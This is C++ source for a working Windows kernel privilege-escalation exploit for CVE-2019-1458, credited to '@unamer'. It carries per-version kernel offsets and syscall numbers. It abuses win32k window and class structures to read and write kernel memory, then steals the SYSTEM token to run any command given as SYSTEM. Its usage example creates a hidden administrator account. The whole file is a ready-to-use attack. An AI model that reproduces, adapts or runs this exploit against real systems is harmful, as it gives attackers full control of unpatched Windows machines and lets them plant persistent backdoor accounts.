#include <stdio.h>
#include <windows.h>
#include <VersionHelpers.h>

typedef struct _LARGE_UNICODE_STRING {
	ULONG Length;
	ULONG MaximumLength : 31;
	ULONG bAnsi : 1;
	PWSTR Buffer;
} LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;

extern "C" NTSTATUS  NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
extern "C" NTSTATUS  NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
extern "C" DWORD g_NtUserDefSetText_syscall = 0x1080, g_NtUserMessageCall_syscall = 0x1009;


#define SPARY_TIMES 0x1000

#ifdef _WIN64
typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
#else
typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
#endif
typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);

HWND g_hwnd = 0;
ULONG_PTR g_gap = 0;

lHMValidateHandle pHmValidateHandle = NULL;

BOOL FindHMValidateHandle() {
	HMODULE hUser32 = LoadLibraryA("user32.dll");
	if (hUser32 == NULL) {
		printf("Failed to load user32");
		return FALSE;
	}

	BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
	if (pIsMenu == NULL) {
		printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
		return FALSE;
	}
	unsigned int uiHMValidateHandleOffset = 0;
	for (unsigned int i = 0; i < 0x1000; i++) {
		BYTE* test = pIsMenu + i;
		if (*test == 0xE8) {
			uiHMValidateHandleOffset = i + 1;
			break;
		}
	}
	if (uiHMValidateHandleOffset == 0) {
		printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
		return FALSE;
	}

	unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
	unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
	//The +11 is to skip the padding bytes as on Windows 10 these aren't nops
	pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
	return TRUE;
}

VOID
NTAPI
RtlInitLargeUnicodeString(IN OUT PLARGE_UNICODE_STRING DestinationString,
IN PCWSTR SourceString)
{
	ULONG DestSize;

	if (SourceString)
	{
		DestSize = wcslen(SourceString) * sizeof(WCHAR);
		DestinationString->Length = DestSize;
		DestinationString->MaximumLength = DestSize + sizeof(WCHAR);
	}
	else
	{
		DestinationString->Length = 0;
		DestinationString->MaximumLength = 0;
	}

	DestinationString->Buffer = (PWSTR)SourceString;
	DestinationString->bAnsi = FALSE;
}

void writedata(ULONG_PTR addr, ULONG_PTR data, ULONG size)
{
	SetClassLongPtr(g_hwnd, g_gap, addr);
	CHAR input[sizeof(ULONG_PTR)*2];
	RtlSecureZeroMemory(&input, sizeof(input));
	LARGE_UNICODE_STRING u;
	for (int i = 0; i<sizeof(ULONG_PTR); i++)
	{
		input[i] = (data >> (8 * i)) & 0xff;
	}

	RtlInitLargeUnicodeString(&u, (PCWSTR)input);
	u.Length = size;
	u.MaximumLength = size;
	NtUserDefSetText(g_hwnd, &u);
}

ULONG_PTR readdata(ULONG_PTR addr)
{
	SetClassLongPtr(g_hwnd, g_gap, addr);
	ULONG_PTR temp[2] = {0};
	InternalGetWindowText(g_hwnd, (LPWSTR)temp, sizeof(temp) - sizeof(WCHAR));
	return temp[0];
}

int main()
{
	ULONG_PTR off_tagWND_pself = 0x20, off_tagCLS_extra=0xa0, off_tagWND_tagCLS=0x98, off_tagWND_strName=0xe0;
	ULONG_PTR off_EPROCESS_Token = 0x348, off_KTHREAD_EPROCESS = 0x220, off_tagWND_parent=0x58, off_tagWND_pti=0x10;
	ULONG_PTR off_exp_tagCLS = 0;
	int argc = 0;
	wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
	puts("CVE-2019-1458 exploit by @unamer(https://github.com/unamer)");
	if (argc != 2)
	{
		printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\nWARNING: YOU ONLY HAVE ONE CHANCE!!!", argv[0], argv[0]);
		return -1;
	}

	OSVERSIONINFOW osver;
	RtlSecureZeroMemory(&osver, sizeof(osver));
	osver.dwOSVersionInfoSize = sizeof(osver);
	RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
	pRtlGetVersion(&osver);
	if (osver.dwMajorVersion == 6) {
#ifdef _WIN64
		if (osver.dwMinorVersion == 0)//win2008
		{
			off_tagWND_pself = 0x20;
			off_tagCLS_extra = 0xa0;
			off_tagWND_tagCLS = 0x98;
			off_tagWND_strName = 0xe0;
			off_KTHREAD_EPROCESS = 0x210;
			off_tagWND_parent = 0x58;
			off_EPROCESS_Token = 0x208;
			off_tagWND_pti = 0x10;
			g_NtUserDefSetText_syscall = 0x1081;
			g_NtUserMessageCall_syscall = 0x1007;
			off_exp_tagCLS = 1; // stupid windows 2008
		}
		else if (osver.dwMinorVersion==1)
		{//win7 / win2008 R2
			off_tagWND_pself = 0x20;
			off_tagCLS_extra = 0xa0;
			off_tagWND_tagCLS = 0x98;
			off_tagWND_strName = 0xe0;
			off_KTHREAD_EPROCESS = 0x210;
			off_tagWND_parent = 0x58;
			off_EPROCESS_Token = 0x208;
			off_tagWND_pti = 0x10;
			g_NtUserDefSetText_syscall = 0x107f;
			g_NtUserMessageCall_syscall = 0x1007;
			off_exp_tagCLS = 1; // stupid windows 2008
		}
		else if (osver.dwMinorVersion == 2)
		{
			// win8/win2012
			off_tagWND_pself = 0x20;
			off_tagCLS_extra = 0xa0;
			off_tagWND_tagCLS = 0x98;
			off_tagWND_strName = 0xe0;
			off_EPROCESS_Token = 0x348;
			off_KTHREAD_EPROCESS = 0x220;
			off_tagWND_parent = 0x58;
			off_tagWND_pti = 0x10;
			g_NtUserDefSetText_syscall = 0x107f;
			g_NtUserMessageCall_syscall = 0x1008;
		}
		else if (osver.dwMinorVersion==3)
		{
			// win8.1 / win2012 R2
			off_tagWND_pself = 0x20;
			off_tagCLS_extra=0xa0;
			off_tagWND_tagCLS=0x98;
			off_tagWND_strName=0xe0;
			off_EPROCESS_Token = 0x348;
			off_KTHREAD_EPROCESS = 0x220;
			off_tagWND_parent=0x58;
			off_tagWND_pti=0x10;
			g_NtUserDefSetText_syscall = 0x1080;
			g_NtUserMessageCall_syscall = 0x1009;
		}
		else
		{
			printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
			return -99;
		}

#else
		// too lazy to support x32 version
		if (osver.dwMinorVersion == 0)//win2008 
		{

		}
		else
		{//win7

		}

#endif
	}
	else
	{
		printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
		return -99;
	}


	if (!FindHMValidateHandle()) {
		printf("[!] Failed to locate HmValidateHandle, exiting\n");
		return 1;
	}

	ULONG_PTR base_alloc = 0xc00000;

	ULONG_PTR target_addr = base_alloc << (8 * off_exp_tagCLS);

	ULONG_PTR temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (temp != target_addr)
	{
		printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
		return 2;
	}

	target_addr = (base_alloc + 0x10000) << (8 * off_exp_tagCLS);
	temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

	if (temp != target_addr)
	{
		printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
		return 2;
	}

	const wchar_t CLASS_NAME[] = L"unamer";

	WNDCLASS wc;
	RtlSecureZeroMemory(&wc, sizeof(wc));

	HINSTANCE hself = GetModuleHandle(0);

	wc.lpfnWndProc = DefWindowProc;
	wc.hInstance = hself;
	wc.lpszClassName = CLASS_NAME;
	wc.cbWndExtra = 0x3000;
	wc.cbClsExtra = 0x3000;

	RegisterClass(&wc);
	HWND hwnd;

	ULONG_PTR tagWND = 0, tagCLS = 0;
	INT64 gap = 0;

	while (true)
	{

		hwnd = CreateWindowEx(0, CLASS_NAME, L"unamer", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);

		if (hwnd == NULL)
		{
			printf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
			return 3;
		}

		char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hwnd, 1);
		tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
//		ULONG_PTR ulClientDelta = tagWND - (ULONG_PTR)lpUserDesktopHeapWindow;
		tagCLS = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_tagCLS);

		gap = tagWND - tagCLS;
		if (gap>0 && gap<0x100000)
		{
			break;
		}
	}

	printf("[*] tagWND: 0x%p, tagCLS:0x%p, gap:0x%llx\n", tagWND, tagCLS, gap);

	WNDCLASSEX wcx;
	RtlSecureZeroMemory(&wcx, sizeof(wcx));
	wcx.hInstance = hself;
	wcx.cbSize = sizeof(wcx);
	wcx.lpszClassName = L"SploitWnd";
	wcx.lpfnWndProc = DefWindowProc;
	wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0

	printf("[*] Registering window\n");
	ATOM wndAtom = RegisterClassEx(&wcx);
	if (wndAtom == INVALID_ATOM) {
		printf("[-] Failed registering SploitWnd window class\n");
		exit(-1);
	}

	printf("[*] Creating instance of this window\n");
	HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hself, NULL);
	if (sploitWnd == INVALID_HANDLE_VALUE) {
		printf("[-] Failed to create SploitWnd window\n");
		exit(-1);
	}
// 	ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
// 	printf("[*] tagWND: 0x%p, tagCLS: 0x%p,tagExpWnd: 0x%p, gap: 0x%llx\n", tagWND, tagCLS, tagExpWnd, gap);

	printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 0x%p\n", sploitWnd);
	NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);

	printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
	SetWindowLongPtr(sploitWnd, 0, tagCLS - off_exp_tagCLS);
	printf("[*] GetLastError = %x\n", GetLastError());

	printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
	HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);

	printf("[*] Simulating alt key press\n");
	BYTE keyState[256];
	GetKeyboardState(keyState);
	keyState[VK_MENU] |= 0x80;
	SetKeyboardState(keyState);
/*	keybd_event(VK_MENU, 0, 0, 0);*/
	printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time\n");

	NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);

	// now cbCLSExtra is very large
	// verify the oob read
	ULONG_PTR orig_name = SetClassLongPtr(hwnd, gap - off_tagCLS_extra + off_tagWND_strName, tagWND + off_tagWND_pself);
	ULONG_PTR testtagWND[2] = { 0 };
	InternalGetWindowText(hwnd, (LPWSTR)testtagWND, sizeof(ULONG_PTR));
	
	if (testtagWND[0] == tagWND)
	{
		ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
		printf("[*] tagWND: 0x%p\n", tagExpWnd);
		printf("[+] Exploit success!\n");
		// fix tagCLS
		g_hwnd = hwnd;
		g_gap = gap - off_tagCLS_extra + off_tagWND_strName;

		writedata(tagExpWnd + 0x40, 0,4);
		writedata(tagCLS + 0x68, (ULONG_PTR)hself, 8);
		writedata(tagCLS + 0x58, (ULONG_PTR)DefWindowProc, 8);

		ULONG_PTR token = readdata(readdata(readdata(readdata(readdata(tagWND + off_tagWND_parent) + off_tagWND_pti)) + off_KTHREAD_EPROCESS) + off_EPROCESS_Token);
		ULONG_PTR ep = readdata(readdata(readdata(tagWND + off_tagWND_pti)) + off_KTHREAD_EPROCESS); // self EPROCESS
		ULONG_PTR temp = readdata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR)); // fix WorkingSetPage
		writedata(ep + off_EPROCESS_Token, token, 8);
		writedata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR), temp,8);

		// fix tagWND
		SetClassLongPtr(hwnd, g_gap, orig_name);

		DestroyWindow(hwnd);
		g_hwnd = 0;
		DestroyWindow(sploitWnd);
		UnregisterClass(CLASS_NAME, 0);
		UnregisterClass(L"SploitWnd", 0);

		SECURITY_ATTRIBUTES		sa;
		HANDLE					hRead, hWrite;
		byte					buf[40960] = { 0 };
		STARTUPINFOW			si;
		PROCESS_INFORMATION		pi;
		DWORD					bytesRead;
		RtlSecureZeroMemory(&si, sizeof(si));
		RtlSecureZeroMemory(&pi, sizeof(pi));
		RtlSecureZeroMemory(&sa, sizeof(sa));
		int br = 0;
		sa.nLength = sizeof(SECURITY_ATTRIBUTES);
		sa.lpSecurityDescriptor = NULL;
		sa.bInheritHandle = TRUE;
		if (!CreatePipe(&hRead, &hWrite, &sa, 0))
		{
			return -3;
		}
		wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]);
		si.cb = sizeof(STARTUPINFO);
		GetStartupInfoW(&si);
		si.hStdError = hWrite;
		si.hStdOutput = hWrite;
		si.wShowWindow = SW_HIDE;
		si.lpDesktop = L"WinSta0\\Default";
		si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
		wchar_t cmd[4096] = { 0 };
		lstrcpyW(cmd, argv[1]);
		if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
		{
			CloseHandle(hWrite);
			CloseHandle(hRead);
			printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
			return -2;
		}
		CloseHandle(hWrite);
		printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId);
		while (1)
		{
			if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
				break;
			br += bytesRead;
		}
		puts("===============================");
		puts((char*)buf);
		fflush(stdout);
		fflush(stderr);
		CloseHandle(hRead);
		CloseHandle(pi.hProcess);
		ExitProcess(0);
	}
	else
	{
		printf("[!] Exploit fail, test:0x%p,tagWND:0x%p, error:0x%lx\n", testtagWND, tagWND, GetLastError());
		ExitProcess(-5);
	}
}